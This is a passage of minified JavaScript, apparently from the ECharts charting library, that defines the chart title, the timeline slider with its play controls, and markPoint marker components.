M4.7,16.8V4.2h13.1 M26,4.2h7.8 M41.6,4.2h7.8 M70.3,16.8V4.2H57.2 M4.7,25.9v8.6 M70.3,25.9v8.6 M4.7,43.2v12.6h13.1 M26,55.8h7.8 M41.6,55.8h7.8 M70.3,43.2v12.6H57.2`},title:e.getLocaleModel().get([`toolbox`,`brush`,`title`])}},t}(HX);function ZQ(e){e.registerComponentView(KQ),e.registerComponentModel(qQ),e.registerPreprocessor(CQ),e.registerVisual(e.PRIORITY.VISUAL.BRUSH,zQ),e.registerAction({type:`brush`,event:`brush`,update:`updateVisual`},function(e,t){t.eachComponent({mainType:`brush`,query:e},function(t){t.setAreas(e.areas)})}),e.registerAction({type:`brushSelect`,event:`brushSelected`,update:`none`},zt),e.registerAction({type:`brushEnd`,event:`brushEnd`,update:`none`},zt),WX(`brush`,XQ)}var QQ=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n.layoutMode={type:`box`,ignoreSize:!0},n}return t.type=`title`,t.defaultOption={z:6,show:!0,text:``,target:`blank`,subtext:``,subtarget:`blank`,left:`center`,top:Q.size.m,backgroundColor:Q.color.transparent,borderColor:Q.color.primary,borderWidth:0,padding:5,itemGap:10,textStyle:{fontSize:18,fontWeight:`bold`,color:Q.color.primary},subtextStyle:{fontSize:12,color:Q.color.quaternary}},t}(e_),$Q=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.render=function(e,t,n){if(this.group.removeAll(),e.get(`show`)){var r=this.group,i=e.getModel(`textStyle`),a=e.getModel(`subtextStyle`),o=e.get(`textAlign`),s=W(e.get(`textBaseline`),e.get(`textVerticalAlign`)),c=new Hu({style:Bm(i,{text:e.get(`text`),fill:i.getTextColor()},{disableBox:!0}),z2:10}),l=c.getBoundingRect(),u=e.get(`subtext`),d=new Hu({style:Bm(a,{text:u,fill:a.getTextColor(),y:l.height+e.get(`itemGap`),verticalAlign:`top`},{disableBox:!0}),z2:10}),f=e.get(`link`),p=e.get(`sublink`),m=e.get(`triggerEvent`,!0);c.silent=!f&&!m,d.silent=!p&&!m,f&&c.on(`click`,function(){Sg(f,`_`+e.get(`target`))}),p&&d.on(`click`,function(){Sg(p,`_`+e.get(`subtarget`))}),Z(c).eventData=Z(d).eventData=m?{componentType:`title`,componentIndex:e.componentIndex}:null,r.add(c),u&&r.add(d);var h=r.getBoundingRect(),g=e.getBoxLayoutParams();g.width=h.width,g.height=h.height;var _=Ug(g,Kg(e,n).refContainer,e.get(`padding`));o||(o=e.get(`left`)||e.get(`right`),o===`middle`&&(o=`center`),o===`right`?_.x+=_.width:o===`center`&&(_.x+=_.width/2)),s||(s=e.get(`top`)||e.get(`bottom`),s===`center`&&(s=`middle`),s===`bottom`?_.y+=_.height:s===`middle`&&(_.y+=_.height/2),s||=`top`),r.x=_.x,r.y=_.y,r.markRedraw();var v={align:o,verticalAlign:s};c.setStyle(v),d.setStyle(v),h=r.getBoundingRect();var y=_.margin,b=e.getItemStyle([`color`,`opacity`]);b.fill=e.get(`backgroundColor`);var x=new Lu({shape:{x:h.x-y[3],y:h.y-y[0],width:h.width+y[1]+y[3],height:h.height+y[0]+y[2],r:e.get(`borderRadius`)},style:b,subPixelOptimize:!0,silent:!0});r.add(x)}},t.type=`title`,t}(Eb);function e$(e){e.registerComponentModel(QQ),e.registerComponentView($Q)}var t$=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n.layoutMode=`box`,n}return t.prototype.init=function(e,t,n){this.mergeDefaultAndTheme(e,n),this._initData()},t.prototype.mergeOption=function(t){e.prototype.mergeOption.apply(this,arguments),this._initData()},t.prototype.setCurrentIndex=function(e){e??=this.option.currentIndex;var t=this._data.count();this.option.loop?e=(e%t+t)%t:(e>=t&&(e=t-1),e<0&&(e=0)),this.option.currentIndex=e},t.prototype.getCurrentIndex=function(){return this.option.currentIndex},t.prototype.isIndexMax=function(){return this.getCurrentIndex()>=this._data.count()-1},t.prototype.setPlayState=function(e){this.option.autoPlay=!!e},t.prototype.getPlayState=function(){return!!this.option.autoPlay},t.prototype._initData=function(){var e=this.option,t=e.data||[],n=e.axisType,r=this._names=[],i;n===`category`?(i=[],L(t,function(e,t){var n=Qs(Vs(e),``),a;U(e)?(a=P(e),a.value=t):a=t,i.push(a),r.push(n)})):i=t;var a={category:`ordinal`,time:`time`,value:`number`}[n]||`number`;(this._data=new Zw([{name:`value`,type:a}],this)).initData(i,r)},t.prototype.getData=function(){return this._data},t.prototype.getCategories=function(){if(this.get(`axisType`)===`category`)return this._names.slice()},t.type=`timeline`,t.defaultOption={z:4,show:!0,axisType:`time`,realtime:!0,left:`20%`,top:null,right:`20%`,bottom:0,width:null,height:40,padding:Q.size.m,controlPosition:`left`,autoPlay:!1,rewind:!1,loop:!0,playInterval:2e3,currentIndex:0,itemStyle:{},label:{color:Q.color.secondary},data:[]},t}(e_),n$=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.type=`timeline.slider`,t.defaultOption=mh(t$.defaultOption,{backgroundColor:`rgba(0,0,0,0)`,borderColor:Q.color.border,borderWidth:0,orient:`horizontal`,inverse:!1,tooltip:{trigger:`item`},symbol:`circle`,symbolSize:12,lineStyle:{show:!0,width:2,color:Q.color.accent10},label:{position:`auto`,show:!0,interval:`auto`,rotate:0,color:Q.color.tertiary},itemStyle:{color:Q.color.accent20,borderWidth:0},checkpointStyle:{symbol:`circle`,symbolSize:15,color:Q.color.accent50,borderColor:Q.color.accent50,borderWidth:0,shadowBlur:0,shadowOffsetX:0,shadowOffsetY:0,shadowColor:`rgba(0, 0, 0, 0)`,animation:!0,animationDuration:300,animationEasing:`quinticInOut`},controlStyle:{show:!0,showPlayBtn:!0,showPrevBtn:!0,showNextBtn:!0,itemSize:24,itemGap:12,position:`left`,playIcon:`path://M15 0C23.2843 0 30 6.71573 30 15C30 23.2843 23.2843 30 15 30C6.71573 30 0 23.2843 0 15C0 6.71573 6.71573 0 15 0ZM15 3C8.37258 3 3 8.37258 3 15C3 21.6274 8.37258 27 15 27C21.6274 27 27 21.6274 27 15C27 8.37258 21.6274 3 15 3ZM11.5 10.6699C11.5 9.90014 12.3333 9.41887 13 9.80371L20.5 14.1338C21.1667 14.5187 21.1667 15.4813 20.5 15.8662L13 20.1963C12.3333 20.5811 11.5 20.0999 11.5 19.3301V10.6699Z`,stopIcon:`path://M15 0C23.2843 0 30 6.71573 30 15C30 23.2843 23.2843 30 15 30C6.71573 30 0 23.2843 0 15C0 6.71573 6.71573 0 15 0ZM15 3C8.37258 3 3 8.37258 3 15C3 21.6274 8.37258 27 15 27C21.6274 27 27 21.6274 27 15C27 8.37258 21.6274 3 15 3ZM11.5 10C12.3284 10 13 10.6716 13 11.5V18.5C13 19.3284 12.3284 20 11.5 20C10.6716 20 10 19.3284 10 18.5V11.5C10 10.6716 10.6716 10 11.5 10ZM18.5 10C19.3284 10 20 10.6716 20 11.5V18.5C20 19.3284 19.3284 20 18.5 20C17.6716 20 17 19.3284 17 18.5V11.5C17 10.6716 17.6716 10 18.5 10Z`,nextIcon:`path://M0.838834 18.7383C0.253048 18.1525 0.253048 17.2028 0.838834 16.617L7.55635 9.89949L0.838834 3.18198C0.253048 2.59619 0.253048 1.64645 0.838834 1.06066C1.42462 0.474874 2.37437 0.474874 2.96015 1.06066L10.7383 8.83883L10.8412 8.95277C11.2897 9.50267 11.2897 10.2963 10.8412 10.8462L10.7383 10.9602L2.96015 18.7383C2.37437 19.3241 1.42462 19.3241 0.838834 18.7383Z`,prevIcon:`path://M10.9602 1.06066C11.5459 1.64645 11.5459 2.59619 10.9602 3.18198L4.24264 9.89949L10.9602 16.617C11.5459 17.2028 11.5459 18.1525 10.9602 18.7383C10.3744 19.3241 9.42462 19.3241 8.83883 18.7383L1.06066 10.9602L0.957771 10.8462C0.509245 10.2963 0.509245 9.50267 0.957771 8.95277L1.06066 8.83883L8.83883 1.06066C9.42462 0.474874 10.3744 0.474874 10.9602 1.06066Z`,prevBtnSize:18,nextBtnSize:18,color:Q.color.accent50,borderColor:Q.color.accent50,borderWidth:0},emphasis:{label:{show:!0,color:Q.color.accent60},itemStyle:{color:Q.color.accent60,borderColor:Q.color.accent60},controlStyle:{color:Q.color.accent70,borderColor:Q.color.accent70}},progress:{lineStyle:{color:Q.color.accent30},itemStyle:{color:Q.color.accent40}},data:[]}),t}(t$);ot(n$,ay.prototype);var r$=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.type=`timeline`,t}(Eb),i$=function(e){N(t,e);function t(t,n,r,i){var a=e.call(this,t,n,r)||this;return a.type=i||`value`,a}return t.prototype.getLabelModel=function(){return this.model.getModel(`label`)},t.prototype.isHorizontal=function(){return this.model.get(`orient`)===`horizontal`},t}(SD),a$=Math.PI,o$=oc(),s$=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.init=function(e,t){this.api=t},t.prototype.render=function(e,t,n){if(this.model=e,this.api=n,this.ecModel=t,this.group.removeAll(),e.get(`show`,!0)){var r=this._layout(e,n),i=this._createGroup(`_mainGroup`),a=this._createGroup(`_labelGroup`),o=this._axis=this._createAxis(r,e);e.formatTooltip=function(e){return Xy(`nameValue`,{noName:!0,value:o.scale.getLabel({value:e})})},L([`AxisLine`,`AxisTick`,`Control`,`CurrentPointer`],function(t){this[`_render`+t](r,i,o,e)},this),this._renderAxisLabel(r,a,o,e),this._position(r,e)}this._doPlayStop(),this._updateTicksStatus()},t.prototype.remove=function(){this._clearTimer(),this.group.removeAll()},t.prototype.dispose=function(){this._clearTimer()},t.prototype._layout=function(e,t){var n=e.get([`label`,`position`]),r=e.get(`orient`),i=l$(e,t),a=n==null||n===`auto`?r===`horizontal`?i.y+i.height/2<t.getHeight()/2?`-`:`+`:i.x+i.width/2<t.getWidth()/2?`+`:`-`:H(n)?{horizontal:{top:`-`,bottom:`+`},vertical:{left:`-`,right:`+`}}[r][n]:n,o={horizontal:`center`,vertical:a>=0||a===`+`?`left`:`right`},s={horizontal:a>=0||a===`+`?`top`:`bottom`,vertical:`middle`},c={horizontal:0,vertical:a$/2},l=r===`vertical`?i.height:i.width,u=e.getModel(`controlStyle`),d=u.get(`show`,!0),f=d?u.get(`itemSize`):0,p=d?u.get(`itemGap`):0,m=f+p,h=e.get([`label`,`rotate`])||0;h=h*a$/180;var g,_,v,y=u.get(`position`,!0),b=d&&u.get(`showPlayBtn`,!0),x=d&&u.get(`showPrevBtn`,!0),S=d&&u.get(`showNextBtn`,!0),C=0,w=l;y===`left`||y===`bottom`?(b&&(g=[0,0],C+=m),x&&(_=[C,0],C+=m),S&&(v=[w-f,0],w-=m)):(b&&(g=[w-f,0],w-=m),x&&(_=[0,0],C+=m),S&&(v=[w-f,0],w-=m));var T=[C,w];return e.get(`inverse`)&&T.reverse(),{viewRect:i,mainLength:l,orient:r,rotation:c[r],labelRotation:h,labelPosOpt:a,labelAlign:e.get([`label`,`align`])||o[r],labelBaseline:e.get([`label`,`verticalAlign`])||e.get([`label`,`baseline`])||s[r],playPosition:g,prevBtnPosition:_,nextBtnPosition:v,axisExtent:T,controlSize:f,controlGap:p}},t.prototype._position=function(e,t){var n=this._mainGroup,r=this._labelGroup,i=e.viewRect;if(e.orient===`vertical`){var a=Bn(),o=i.x,s=i.y+i.height;Wn(a,a,[-o,-s]),Gn(a,a,-a$/2),Wn(a,a,[o,s]),i=i.clone(),i.applyTransform(a)}var c=g(i),l=g(n.getBoundingRect()),u=g(r.getBoundingRect()),d=[n.x,n.y],f=[r.x,r.y];f[0]=d[0]=c[0][0];var p=e.labelPosOpt;if(p==null||H(p)){var m=p===`+`?0:1;_(d,l,c,1,m),_(f,u,c,1,1-m)}else{var m=p>=0?0:1;_(d,l,c,1,m),f[1]=d[1]+p}n.setPosition(d),r.setPosition(f),n.rotation=r.rotation=e.rotation,h(n),h(r);function h(e){e.originX=c[0][0]-e.x,e.originY=c[1][0]-e.y}function g(e){return[[e.x,e.x+e.width],[e.y,e.y+e.height]]}function _(e,t,n,r,i){e[r]+=n[r][i]-t[r][i]}},t.prototype._createAxis=function(e,t){var n=t.getData(),r=t.get(`axisType`),i=c$(t,r);i.getTicks=function(){return n.mapArray([`value`],function(e){return{value:e}})};var a=n.getDataExtent(`value`);i.setExtent(a[0],a[1]),i.calcNiceTicks();var o=new i$(`value`,i,e.axisExtent,r);return o.model=t,o},t.prototype._createGroup=function(e){var t=this[e]=new Y;return this.group.add(t),t},t.prototype._renderAxisLine=function(e,t,n,r){var i=n.getExtent();if(r.get([`lineStyle`,`show`])){var a=new fp({shape:{x1:i[0],y1:0,x2:i[1],y2:0},style:F({lineCap:`round`},r.getModel(`lineStyle`).getLineStyle()),silent:!0,z2:1});t.add(a);var o=this._progressLine=new fp({shape:{x1:i[0],x2:this._currentPointer?this._currentPointer.x:i[0],y1:0,y2:0},style:I({lineCap:`round`,lineWidth:a.style.lineWidth},r.getModel([`progress`,`lineStyle`]).getLineStyle()),silent:!0,z2:1});t.add(o)}},t.prototype._renderAxisTick=function(e,t,n,r){var i=this,a=r.getData(),o=n.scale.getTicks();this._tickSymbols=[],L(o,function(e){var o=n.dataToCoord(e.value),s=a.getItemModel(e.value),c=s.getModel(`itemStyle`),l=s.getModel([`emphasis`,`itemStyle`]),u=s.getModel([`progress`,`itemStyle`]),d=d$(s,c,t,{x:o,y:0,onclick:z(i._changeTimeline,i,e.value)});d.ensureState(`emphasis`).style=l.getItemStyle(),d.ensureState(`progress`).style=u.getItemStyle(),Zd(d);var f=Z(d);s.get(`tooltip`)?(f.dataIndex=e.value,f.dataModel=r):f.dataIndex=f.dataModel=null,i._tickSymbols.push(d)})},t.prototype._renderAxisLabel=function(e,t,n,r){var i=this;if(n.getLabelModel().get(`show`)){var a=r.getData(),o=n.getViewLabels();this._tickLabels=[],L(o,function(r){var o=r.tickValue,s=a.getItemModel(o),c=s.getModel(`label`),l=s.getModel([`emphasis`,`label`]),u=s.getModel([`progress`,`label`]),d=new Hu({x:n.dataToCoord(r.tickValue),y:0,rotation:e.labelRotation-e.rotation,onclick:z(i._changeTimeline,i,o),silent:!1,style:Bm(c,{text:r.formattedLabel,align:e.labelAlign,verticalAlign:e.labelBaseline})});d.ensureState(`emphasis`).style=Bm(l),d.ensureState(`progress`).style=Bm(u),t.add(d),Zd(d),o$(d).dataIndex=o,i._tickLabels.push(d)})}},t.prototype._renderControl=function(e,t,n,r){var i=e.controlSize,a=e.rotation,o=r.getModel(`controlStyle`).getItemStyle(),s=r.getModel([`emphasis`,`controlStyle`]).getItemStyle(),c=r.getPlayState(),l=r.get(`inverse`,!0);u(e.nextBtnPosition,`next`,z(this._changeTimeline,this,l?`-`:`+`)),u(e.prevBtnPosition,`prev`,z(this._changeTimeline,this,l?`+`:`-`)),u(e.playPosition,c?`stop`:`play`,z(this._handlePlayClick,this,!c),!0);function u(e,n,c,l){if(e){var u=Do(W(r.get([`controlStyle`,n+`BtnSize`]),i),i),d=[0,-u/2,u,u],f=u$(r,n+`Icon`,d,{x:e[0],y:e[1],originX:i/2,originY:0,rotation:l?-a:0,rectHover:!0,style:o,onclick:c});f.ensureState(`emphasis`).style=s,t.add(f),Zd(f)}}},t.prototype._renderCurrentPointer=function(e,t,n,r){var i=r.getData(),a=r.getCurrentIndex(),o=i.getItemModel(a).getModel(`checkpointStyle`),s=this,c={onCreate:function(e){e.draggable=!0,e.drift=z(s._handlePointerDrag,s),e.ondragend=z(s._handlePointerDragend,s),f$(e,s._progressLine,a,n,r,!0)},onUpdate:function(e){f$(e,s._progressLine,a,n,r)}};this._currentPointer=d$(o,o,this._mainGroup,{},this._currentPointer,c)},t.prototype._handlePlayClick=function(e){this._clearTimer(),this.api.dispatchAction({type:`timelinePlayChange`,playState:e,from:this.uid})},t.prototype._handlePointerDrag=function(e,t,n){this._clearTimer(),this._pointerChangeTimeline([n.offsetX,n.offsetY])},t.prototype._handlePointerDragend=function(e){this._pointerChangeTimeline([e.offsetX,e.offsetY],!0)},t.prototype._pointerChangeTimeline=function(e,t){var n=this._toAxisCoord(e)[0],r=this._axis,i=ls(r.getExtent().slice());n>i[1]&&(n=i[1]),n<i[0]&&(n=i[0]),this._currentPointer.x=n,this._currentPointer.markRedraw();var a=this._progressLine;a&&(a.shape.x2=n,a.dirty());var o=this._findNearestTick(n),s=this.model;(t||o!==s.getCurrentIndex()&&s.get(`realtime`))&&this._changeTimeline(o)},t.prototype._doPlayStop=function(){var e=this;this._clearTimer(),this.model.getPlayState()&&(this._timer=setTimeout(function(){var t=e.model;e._changeTimeline(t.getCurrentIndex()+(t.get(`rewind`,!0)?-1:1))},this.model.get(`playInterval`)))},t.prototype._toAxisCoord=function(e){return lm(e,this._mainGroup.getLocalTransform(),!0)},t.prototype._findNearestTick=function(e){var t=this.model.getData(),n=1/0,r,i=this._axis;return t.each([`value`],function(t,a){var o=i.dataToCoord(t),s=Math.abs(o-e);s<n&&(n=s,r=a)}),r},t.prototype._clearTimer=function(){this._timer&&=(clearTimeout(this._timer),null)},t.prototype._changeTimeline=function(e){var t=this.model.getCurrentIndex();e===`+`?e=t+1:e===`-`&&(e=t-1),this.api.dispatchAction({type:`timelineChange`,currentIndex:e,from:this.uid})},t.prototype._updateTicksStatus=function(){var e=this.model.getCurrentIndex(),t=this._tickSymbols,n=this._tickLabels;if(t)for(var r=0;r<t.length;r++)t&&t[r]&&t[r].toggleState(`progress`,r<e);if(n)for(var r=0;r<n.length;r++)n&&n[r]&&n[r].toggleState(`progress`,o$(n[r]).dataIndex<=e)},t.type=`timeline.slider`,t}(r$);function c$(e,t){if(t||=e.get(`type`),t)switch(t){case`category`:return new AT({ordinalMeta:e.getCategories(),extent:[1/0,-1/0]});case`time`:return new ZT({locale:e.ecModel.getLocaleModel(),useUTC:e.ecModel.get(`useUTC`)});default:return new MT}}function l$(e,t){return Ug(e.getBoxLayoutParams(),Kg(e,t).refContainer,e.get(`padding`))}function u$(e,t,n,r){var i=r.style,a=gm(e.get([`controlStyle`,t]),r||{},new J(n[0],n[1],n[2],n[3]));return i&&a.setStyle(i),a}function d$(e,t,n,r,i,a){var o=t.get(`color`);i?(i.setColor(o),n.add(i),a&&a.onUpdate(i)):(i=Bx(e.get(`symbol`),-1,-1,2,2,o),i.setStyle(`strokeNoScale`,!0),n.add(i),a&&a.onCreate(i));var s=t.getItemStyle([`color`]);i.setStyle(s),r=nt({rectHover:!0,z2:100},r,!0);var c=Vx(e.get(`symbolSize`));r.scaleX=c[0]/2,r.scaleY=c[1]/2;var l=Hx(e.get(`symbolOffset`),c);l&&(r.x=(r.x||0)+l[0],r.y=(r.y||0)+l[1]);var u=e.get(`symbolRotate`);return r.rotation=(u||0)*Math.PI/180||0,i.attr(r),i.updateTransform(),i}function f$(e,t,n,r,i,a){if(!e.dragging){var o=i.getModel(`checkpointStyle`),s=r.dataToCoord(i.getData().get(`value`,n));if(a||!o.get(`animation`,!0))e.attr({x:s,y:0}),t&&t.attr({shape:{x2:s}});else{var c={duration:o.get(`animationDuration`,!0),easing:o.get(`animationEasing`,!0)};e.stopAnimation(null,!0),e.animateTo({x:s,y:0},c),t&&t.animateTo({shape:{x2:s}},c)}}}function p$(e){e.registerAction({type:`timelineChange`,event:`timelineChanged`,update:`prepareAndUpdate`},function(e,t,n){var r=t.getComponent(`timeline`);return r&&e.currentIndex!=null&&(r.setCurrentIndex(e.currentIndex),!r.get(`loop`,!0)&&r.isIndexMax()&&r.getPlayState()&&(r.setPlayState(!1),n.dispatchAction({type:`timelinePlayChange`,playState:!1,from:e.from}))),t.resetOption(`timeline`,{replaceMerge:r.get(`replaceMerge`,!0)}),I({currentIndex:r.option.currentIndex},e)}),e.registerAction({type:`timelinePlayChange`,event:`timelinePlayChanged`,update:`update`},function(e,t){var n=t.getComponent(`timeline`);n&&e.playState!=null&&n.setPlayState(e.playState)})}function m$(e){var t=e&&e.timeline;B(t)||(t=t?[t]:[]),L(t,function(e){e&&h$(e)})}function h$(e){var t=e.type,n={number:`value`,time:`time`};if(n[t]&&(e.axisType=n[t],delete e.type),g$(e),_$(e,`controlPosition`)){var r=e.controlStyle||={};_$(r,`position`)||(r.position=e.controlPosition),r.position===`none`&&!_$(r,`show`)&&(r.show=!1,delete r.position),delete e.controlPosition}L(e.data||[],function(e){U(e)&&!B(e)&&(!_$(e,`value`)&&_$(e,`name`)&&(e.value=e.name),g$(e))})}function g$(e){var t=e.itemStyle||={},n=t.emphasis||={},r=e.label||e.label||{},i=r.normal||={},a={normal:1,emphasis:1};L(r,function(e,t){!a[t]&&!_$(i,t)&&(i[t]=e)}),n.label&&!_$(r,`emphasis`)&&(r.emphasis=n.label,delete n.label)}function _$(e,t){return e.hasOwnProperty(t)}function v$(e){e.registerComponentModel(n$),e.registerComponentView(s$),e.registerSubTypeDefaulter(`timeline`,function(){return`slider`}),p$(e),e.registerPreprocessor(m$)}function y$(e,t){if(!e)return!1;for(var n=B(e)?e:[e],r=0;r<n.length;r++)if(n[r]&&n[r][t])return!0;return!1}function b$(e){zs(e,`label`,[`show`])}var x$=oc(),S$=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n.createdBySelf=!1,n.preventAutoZ=!0,n}return t.prototype.init=function(e,t,n){this.mergeDefaultAndTheme(e,n),this._mergeOption(e,n,!1,!0)},t.prototype.isAnimationEnabled=function(){if(Ne.node)return!1;var e=this.__hostSeries;return this.getShallow(`animation`)&&e&&e.isAnimationEnabled()},t.prototype.mergeOption=function(e,t){this._mergeOption(e,t,!1,!1)},t.prototype._mergeOption=function(e,t,n,r){var i=this.mainType;n||t.eachSeries(function(e){var n=e.get(this.mainType,!0),a=x$(e)[i];if(!n||!n.data){x$(e)[i]=null;return}a?a._mergeOption(n,t,!0):(r&&b$(n),L(n.data,function(e){e instanceof Array?(b$(e[0]),b$(e[1])):b$(e)}),a=this.createMarkerModelFromSeries(n,this,t),F(a,{mainType:this.mainType,seriesIndex:e.seriesIndex,name:e.name,createdBySelf:!0}),a.__hostSeries=e),x$(e)[i]=a},this)},t.prototype.formatTooltip=function(e,t,n){var r=this.getData(),i=this.getRawValue(e),a=r.getName(e);return Xy(`section`,{header:this.name,blocks:[Xy(`nameValue`,{name:a,value:i,noName:!a,noValue:i==null})]})},t.prototype.getData=function(){return this._data},t.prototype.setData=function(e){this._data=e},t.prototype.getDataParams=function(e,t){var n=ay.prototype.getDataParams.call(this,e,t),r=this.__hostSeries;return r&&(n.seriesId=r.id,n.seriesName=r.name,n.seriesType=r.subType),n},t.getMarkerModelFromSeries=function(e,t){return x$(e)[t]},t.type=`marker`,t.dependencies=[`series`,`grid`,`polar`,`geo`],t}(e_);ot(S$,ay.prototype);var C$=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.createMarkerModelFromSeries=function(e,n,r){return new t(e,n,r)},t.type=`markPoint`,t.defaultOption={z:5,symbol:`pin`,symbolSize:50,tooltip:{trigger:`item`},label:{show:!0,position:`inside`},itemStyle:{borderWidth:2},emphasis:{label:{show:!0}}},t}(S$);function w$(e){return!(isNaN(parseFloat(e.x))&&isNaN(parseFloat(e.y)))}function T$(e){return!isNaN(parseFloat(e.x))&&!isNaN(parseFloat(e.y))}function E$(e,t,n,r,i,a,o){var s=[],c=cT(t,i)?t.getCalculationInfo(`stackResultDimension`):i,l=P$(t,c,e),u=t.hostModel.indicesOfNearest(n,c,l)[0];s[a]=t.get(r,u),s[o]=t.get(c,u);var d=t.get(i,u),f=us(t.get(i,u));return f=Math.min(f,20),f>=0&&(s[o]=+s[o].toFixed(f)),[s,d]}var D$={min:pt(E$,`min`),max:pt(E$,`max`),average:pt(E$,`average`),median:pt(E$,`median`)};function O$(e,t){if(t){var n=e.getData(),r=e.coordinateSystem,i=r&&r.dimensions;if(!T$(t)&&!B(t.coord)&&B(i)){var a=k$(t,n,r,e);if(t=P(t),t.type&&D$[t.type]&&a.baseAxis&&a.valueAxis){var o=it(i,a.baseAxis.dim),s=it(i,a.valueAxis.dim),c=D$[t.type](n,a.valueAxis.dim,a.baseDataDim,a.valueDataDim,o,s);t.coord=c[0],t.value=c[1]}else t.coord=[t.xAxis==null?t.radiusAxis:t.xAxis,t.yAxis==null?t.angleAxis:t.yAxis]}if(t.coord==null||!B(i)){t.coord=[];var l=e.getBaseAxis();if(l&&t.type&&D$[t.type]){var u=r.getOtherAxis(l);u&&(t.value=P$(n,n.mapDimension(u.dim),t.type))}}else for(var d=t.coord,f=0;f<2;f++)D$[d[f]]&&(d[f]=P$(n,n.mapDimension(i[f]),d[f]));return t}}function k$(e,t,n,r){var i={};return e.valueIndex!=null||e.valueDim!=null?(i.valueDataDim=e.valueIndex==null?e.valueDim:t.getDimension(e.valueIndex),i.valueAxis=n.getAxis(A$(r,i.valueDataDim)),i.baseAxis=n.getOtherAxis(i.valueAxis),i.baseDataDim=t.mapDimension(i.baseAxis.dim)):(i.baseAxis=r.getBaseAxis(),i.valueAxis=n.getOtherAxis(i.baseAxis),i.baseDataDim=t.mapDimension(i.baseAxis.dim),i.valueDataDim=t.mapDimension(i.valueAxis.dim)),i}function A$(e,t){var n=e.getData().getDimensionInfo(t);return n&&n.coordDim}function j$(e,t){return e&&e.containData&&t.coord&&!w$(t)?e.containData(t.coord):!0}function M$(e,t,n){return e&&e.containZone&&t.coord&&n.coord&&!w$(t)&&!w$(n)?e.containZone(t.coord,n.coord):!0}function N$(e,t){return e?function(e,n,r,i){return uy(i<2?e.coord&&e.coord[i]:e.value,t[i])}:function(e,n,r,i){return uy(e.value,t[i])}}function P$(e,t,n){if(n===`average`){var r=0,i=0;return e.each(t,function(e,t){isNaN(e)||(r+=e,i++)}),r/i}else if(n===`median`)return e.getMedian(t);else return e.getDataExtent(t)[+(n===`max`)]}var F$=oc(),I$=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.init=function(){this.markerGroupMap=G()},t.prototype.render=function(e,t,n){var r=this,i=this.markerGroupMap;i.each(function(e){F$(e).keep=!1}),t.eachSeries(function(e){var i=S$.getMarkerModelFromSeries(e,r.type);i&&r.renderSeries(e,i,t,n)}),i.each(function(e){!F$(e).keep&&r.group.remove(e.group)}),L$(t,i,this.type)},t.prototype.markKeep=function(e){F$(e).keep=!0},t.prototype.toggleBlurSeries=function(e,t){var n=this;L(e,function(e){var r=S$.getMarkerModelFromSeries(e,n.type);r&&r.getData().eachItemGraphicEl(function(e){e&&(t?Id(e):Ld(e))})})},t.type=`marker`,t}(Eb);function L$(e,t,n){e.eachSeries(function(e){var r=S$.getMarkerModelFromSeries(e,n),i=t.get(e.id);if(r&&i&&i.group){var a=jm(r),o=a.z,s=a.zlevel;Nm(i.group,o,s)}})}function R$(e,t,n){var r=t.coordinateSystem,i=n.getWidth(),a=n.getHeight(),o=r&&r.getArea&&r.getArea();e.each(function(n){var s=e.getItemModel(n),c=s.get(`relativeTo`)===`coordinate`,l=c?o?o.width:0:i,u=c?o?o.height:0:a,d=c&&o?o.x:0,f=c&&o?o.y:0,p,m=X(s.get(`x`),l)+d,h=X(s.get(`y`),u)+f;if(!isNaN(m)&&!isNaN(h))p=[m,h];else if(t.getMarkerPosition)p=t.getMarkerPosition(e.getValues(e.dimensions,n));else if(r){var g=e.get(r.dimensions[0],n),_=e.get(r.dimensions[1],n);p=r.dataToPoint([g,_])}isNaN(m)||(p[0]=m),isNaN(h)||(p[1]=h),e.setItemLayout(n,p)})}var z$=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.updateTransform=function(e,t,n){t.eachSeries(function(e){var t=S$.getMarkerModelFromSeries(e,`markPoint`);t&&(R$(t.getData(),e,n),this.markerGroupMap.get(e.id).updateLayout())},this)},t.prototype.renderSeries=function(e,t,n,r){var i=e.coordinateSystem,a=e.id,o=e.getData(),s=this.markerGroupMap,c=s.get(a)||s.set(a,new yA),l=B$(i,e,t);t.setData(l),R$(t.getData(),e,r),l.each(function(e){var n=l.getItemModel(e),r=n.getShallow(`symbol`),i=n.getShallow(`symbolSize`),a=n.getShallow(`symbolRotate`),s=n.getShallow(`symbolOffset`),c=n.getShallow(`symbolKeepAspect`);if(V(r)||V(i)||V(a)||V(s)){var u=t.getRawValue(e),d=t.getDataParams(e);V(r)&&(r=r(u,d)),V(i)&&(i=i(u,d)),V(a)&&(a=a(u,d)),V(s)&&(s=s(u,d))}var f=n.getModel(`itemStyle`).getItemStyle(),p=n.get(`z2`),m=Tx(o,`color`);f.fill||=m,l.setItemVisual(e,{z2:W(p,0),symbol:r,symbolSize:i,symbolRotate:a,symbolOffset:s,symbolKeepAspect:c,style:f})}),c.updateData(l),this.group.add(c.group),l.eachItemGraphicEl(function(e){e.traverse(function(e){Z(e).dataModel=t})}),this.markKeep(c),c.group.silent=t.get(`silent`)||e.get(`silent`)},t.type=`markPoint`,t}(I$);function B$(e,t,n){var r=e?R(e&&e.dimensions,function(e){return F(F({},t.getData().getDimensionInfo(t.getData().mapDimension(e))||{}),{name:e,ordinalMeta:null})}):[{name:`value`,type:`float`}],i=new Zw(r,n),a=R(n.get(`data`),pt(O$,t));e&&(a=lt(a,pt(j$,e)));var o=N$(!!e,r);return i.initData(a,null,o),i}function V$(e){e.registerComponentModel(C$),e.registerComponentView(z$),e.registerPreprocessor(function(e){y$(e.series,`markPoint`)&&(e.markPoint=e.markPoint||{})})}var H$=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return 